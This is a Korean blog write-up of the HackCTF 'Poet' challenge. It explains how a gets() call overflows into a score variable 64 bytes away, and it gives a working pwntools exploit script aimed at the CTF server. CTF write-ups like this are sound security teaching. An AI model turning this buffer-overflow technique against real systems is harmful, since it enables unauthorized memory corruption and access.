ii4gsp
HackCTF - Poet 본문
파일을 다운받아 주자.
IDA로 파일을 열어보면 get_poem(), get_author(), rate_poem()함수가 차례대로 실행되고,
dword_6024E0가 1000000이라면 무한루프를 빠져나간다.
reward()함수는 flag를 출력해준다.
rate_poem()함수를 보면 s1에 "ESPR", "eat", "sleep" 등의 값이 있으면 dword_6024E0의 값을 100 증가시킨다.
하지만 get_poem()함수를 보면 dword_6024E0의 값을 0으로 초기화시킨다.
get_author()함수를 보면 gets()함수로 입력을받는다.
두 변수의 주소이다.
unk_6024A0와 dword_6024E0의 거리는 64byte차이가 난다.
get_poem()함수에서 아무값이나 입력하고 get_author()함수에서 dummy 64byte와 1000000을 입력하면 된다.
Exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3012)
payload = ''
payload += '\x90' * 64
payload += p64(1000000)
r.recvuntil('> ')
r.sendline('asd')
r.sendline(payload)
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - Random Key (0) | 2020.02.16 |
---|---|
HackCTF - 1996 (0) | 2020.02.16 |
HackCTF - g++ pwn (0) | 2020.02.16 |
HackCTF - RTL_World (0) | 2020.02.15 |
HackCTF - Yes_or_no (0) | 2020.02.10 |
Comments